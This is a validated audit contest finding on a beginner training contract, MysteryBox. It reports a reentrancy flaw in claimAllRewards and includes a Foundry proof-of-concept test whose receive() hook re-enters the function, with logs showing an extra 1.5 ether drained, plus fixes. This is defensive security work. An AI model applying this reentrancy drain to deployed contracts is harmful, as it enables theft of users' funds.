Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Critical Reentrancy Vulnerability in MysteryBox::claimAllRewards

Summary

A reentrancy vulnerability was identified in MysteryBox.sol. By exploiting this vulnerability, an attacker can repeatedly claim rewards and drain the contract's funds. This issue was demonstrated using a structured exploit within a test case, ultimately leading to the unauthorized transfer of funds from the contract to the attacker.

Vulnerability Details

Function affected:

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}

This vulnerability occurs because the function allows external calls (i.e., to the attacker's contract) before updating the contract’s state. As a result, an attacker can reenter the function within the same transaction, leading to multiple withdrawals and depleting the contract's funds.

The core issue is that the function does not adhere to the "Checks-Effects-Interactions" pattern and is missing a reentrancy guard, which allows the attacker's fallback function to repeatedly execute the vulnerable function.

POC

  • Copy the code to a new test file: MysteryBox/test/ReentrancyExploit.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/MysteryBox.sol";
contract ReentrancyExploit is Test {
MysteryBox public mysteryBox;
address public attacker = address(0xBAD);
receive() external payable {
console.log("Fallback called");
console.log("Contract Balance: %d", address(mysteryBox).balance);
console.log("Attacker Balance: %d", address(attacker).balance);
// Checking if the mysteryBox has sufficient funds and then reentering
if (address(mysteryBox).balance >= 0.5 ether) {
console.log("Reentering claimAllRewards");
mysteryBox.claimAllRewards();
}
}
function setUp() public {
// Initialize with a higher contract balance to avoid running out of funds
mysteryBox = new MysteryBox{value: 3 ether}();
vm.deal(attacker, 1 ether);
}
function testExploit() public {
vm.startPrank(attacker);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Bought 3 boxes");
mysteryBox.openBox();
mysteryBox.openBox();
mysteryBox.openBox();
console.log("Opened 3 boxes");
// Display the rewards for the attacker
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
for (uint256 i = 0; i < rewards.length; i++) {
console.log("Reward %d: %s, Value: %d", i, rewards[i].name, rewards[i].value);
}
uint256 initialBalance = address(attacker).balance;
console.log("Initial Balance of Attacker: %d", initialBalance);
// Attempt to claim all rewards
try mysteryBox.claimAllRewards() {
console.log("claimAllRewards executed successfully");
} catch (bytes memory reason) {
console.log("claimAllRewards failed with reason: %s", string(reason));
}
uint256 finalBalance = address(attacker).balance;
console.log("Final Balance of Attacker: %d", finalBalance);
assert(finalBalance > initialBalance);
vm.stopPrank();
}
}
  • Run test: forge test --match-contract ReentrancyExploit -vvv

The following logs were captured during the execution of the test:

ought 3 boxes
Opened 3 boxes
Reward 0: Silver Coin, Value: 500000000000000000
Reward 1: Silver Coin, Value: 500000000000000000
Reward 2: Silver Coin, Value: 500000000000000000
Initial Balance of Attacker: 700000000000000000
claimAllRewards executed successfully
Final Balance of Attacker: 2200000000000000000

Exploit Output Explanation:
Rewards Information:

  • The attacker received three "Silver Coin" rewards, each valued at 0.5 ether (500000000000000000 wei).

  • Initial Balance: The initial balance of the attacker was 0.7 ether.

  • Successful Execution: Indicates that the claimAllRewardsfunction executed successfully.

  • Final Balance: The final balance of the attacker increased to 2.2 ether, confirming a successful exploit where an additional 1.5 ether was withdrawn unauthorizedly due to the reentrancy attack.

Impact

  • Financial Loss: A reentrancy vulnerability allows an attacker to drain significant funds from the contract, leading to severe financial loss for the contract owner and stakeholders.

  • Reputation Damage: The presence of such a critical vulnerability can erode the trust of users and investors, damaging the project’s reputation.

  • Operational Risk: Continued exploitation without patching the vulnerability can deplete contract funds, causing disruptions in normal operations and potentially rendering the contract unusable.

Tools Used

  • Foundry

Recommendations

  • Implement Reentrancy Guard: Utilize OpenZeppelin's ReentrancyGuard to protect critical functions vulnerable to reentrancy attacks.

  • Follow Checks-Effects-Interactions Pattern: Ensure that state changes are performed before executing any external calls.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!